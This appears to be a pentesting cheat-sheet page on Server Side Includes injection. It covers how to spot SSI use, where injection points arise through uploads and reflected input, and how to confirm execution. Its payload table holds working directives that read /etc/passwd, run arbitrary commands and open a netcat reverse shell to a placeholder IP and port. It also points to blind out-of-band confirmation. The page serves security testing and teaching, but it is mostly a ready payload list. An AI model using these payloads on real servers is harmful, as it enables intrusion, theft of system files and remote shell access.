Skip to main content
Server Side Includes (SSI) is a technology that web applications use to create dynamic content on HTML pages. SSI is supported by many popular web servers such as Apache and IIS. The use of SSI can often be inferred from the file extension, typical extensions include .shtml, .shtm, and .stm. However, web servers can be configured to support SSI directives in arbitrary file extensions, so the extension alone is never conclusive proof that SSI is (or isn’t) in use.

Finding Injection Points

SSI injection occurs when an attacker can get SSI directives into a file that the web server subsequently parses and serves. This typically happens in one of two ways:
  • File upload - a vulnerable upload feature lets an attacker drop a file containing SSI directives into the web root, and the server is configured to parse that extension.
  • Reflected user input - a web application writes user input directly into a file served from the web root (a guestbook, a comment stored as static HTML, a generated log page, etc.) without sanitizing SSI delimiters. Test by submitting a low noise, easily recognizable directive into any input you suspect ends up on disk, then requesting the page back
If the current server date comes back instead of the literal string, the directive was parsed, you have SSI injection.

SSI Directives

SSI uses directives to add dynamically generated content to an otherwise static HTML page, with the syntax:
DescriptionPayload
Print the date{/* #echo var="DATE_LOCAL" */}
Print the document name{/* #echo var="DOCUMENT_NAME" */}
Print all the variables{/* #printenv */}
Setting variables{/* #set var="name" value="Rich" */}
Include a file{/* #include file="/etc/passwd" */}
Include a file{/* #include virtual="/index.html" */}
Execute commands{/* #exec cmd="ls" */}
Reverse shell{/* #exec cmd="mkfifo /tmp/f;nc IP PORT 0</tmp/f\|/bin/bash 1>/tmp/f;rm /tmp/f" */}

Blind SSI Injection

If command output isn’t reflected back in the page (the directive executes but you never see a result), confirm execution out-of-band instead of relying on reflected output.

Quick Reference Tools

PayloadsAllTheThings: SSI Injection

PayloadsAllTheThings Reference